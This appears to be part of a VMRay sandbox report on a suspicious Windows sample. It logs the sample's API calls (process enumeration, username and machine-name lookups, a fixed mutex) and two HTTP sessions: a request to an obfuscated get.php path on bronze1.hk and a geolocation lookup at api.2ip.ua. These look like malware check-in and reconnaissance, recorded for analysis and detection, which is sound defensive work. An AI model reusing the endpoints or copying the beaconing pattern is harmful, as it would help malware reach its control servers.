Get Address c:\windows\syswow64\kernel32.dll function = EnumProcessModules, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleBaseNameW, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\psapi.dll function = EnumProcesses, address_out = 0x74e61544 True 1
Fn
Get Address c:\windows\syswow64\psapi.dll function = EnumProcessModules, address_out = 0x74e61408 True 1
Fn
Get Address c:\windows\syswow64\psapi.dll function = GetModuleBaseNameW, address_out = 0x74e6152c True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = SHGetFolderPathW, address_out = 0x75b85708 True 58
Fn
User (1)
»
Operation Additional Information Success Count Logfile
Get Username user_name_out = 5p5NrGJn0jS HALPmcxz True 1
Fn
Window (1)
»
Operation Window Name Additional Information Success Count Logfile
Create LPCWSTRszTitle class_name = LPCWSTRszWindowClass, wndproc_parameter = 0 True 1
Fn
System (258)
»
Operation Additional Information Success Count Logfile
Get Computer Name result_out = XDUWTFONO True 1
Fn
Sleep duration = 0 milliseconds (0.000 seconds) True 1
Fn
Sleep duration = 1000 milliseconds (1.000 seconds) True 1
Fn
Get Time type = System Time, time = 2019-07-13 15:58:16 (UTC) True 1
Fn
Get Time type = Ticks, time = 17144 True 1
Fn
Get Time type = Performance Ctr, time = 6114272879 True 1
Fn
Get Time type = Ticks, time = 17815 True 249
Fn
Get Time type = System Time, time = 2019-07-13 15:58:21 (UTC) True 1
Fn
Get Time type = Performance Ctr, time = 6565956408 True 1
Fn
Get Info type = Operating System True 1
Fn
Mutex (1)
»
Operation Additional Information Success Count Logfile
Create mutex_name = {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} True 1
Fn
Environment (2)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 2
Fn
Data
Network Behavior
HTTP Sessions (2)
»
Information Value
Total Data Sent 467 bytes
Total Data Received 7.19 KB
Contacted Host Count 2
Contacted Hosts 185.212.148.166, 77.123.139.189
HTTP Session #1
»
Information Value
User Agent Microsoft Internet Explorer
Server Name bronze1.hk
Server Port 80
Username -
Password -
Data Sent 0 bytes
Data Received 0 bytes
Operation Additional Information Success Count Logfile
Open Session user_agent = Microsoft Internet Explorer, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = http, server_name = bronze1.hk, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php?pid=6F1FD8FD0D4976892B2858396FD186FE True 1
Fn
Read Response size = 1024, size_out = 103 True 1
Fn
Data
Close Session - True 1
Fn
HTTP Session #2
»
Information Value
Server Name api.2ip.ua
Server Port 443
Username -
Password -
Data Sent 467 bytes
Data Received 7.19 KB
Operation Additional Information Success Count Logfile
Open Session user_agent = Microsoft Internet Explorer, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = https, server_name = api.2ip.ua, server_port = 443 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /geo.json True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = https://api.2ip.ua/geo.json True 1
Fn
Read Response size = 10240, size_out = 465 True 1
Fn
Data
Close Session - True 1
Fn
Function Logfile
Download-Icon
Exit-Icon

This feature requires an online-connection to the VMRay backend.

An offline version with limited functionality is also provided.
The offline version is supported only in Mozilla Firefoxwith deactivated setting "security.fileuri.strict_origin_policy". 


    

   

   

    Before
   

   

    

     

      
       This feature requires an online-connection to the VMRay backend.
      
      

      

      An offline version with limited functionality is also provided.
      

      The offline version is supported only in Mozilla Firefoxwith deactivated setting "security.fileuri.strict_origin_policy".
     

     

    

   

   

    After
   

   

    

     

      
       This feature requires an online-connection to the VMRay backend.
      
      

      

      An offline version with limited functionality is also provided.
      

      The offline version is supported only in Mozilla Firefoxwith deactivated setting "security.fileuri.strict_origin_policy".
     

     

    

   

   

    

     
      

       
       
       
       
      

     
     
     
    

   

  

  

   

    
    

     Screenshot
    

    

     Expand-Icon
    

    

     Exit-Icon
    

   

   

    

     icon_left
    

    

     icon_left
    

   

   

   

   

    image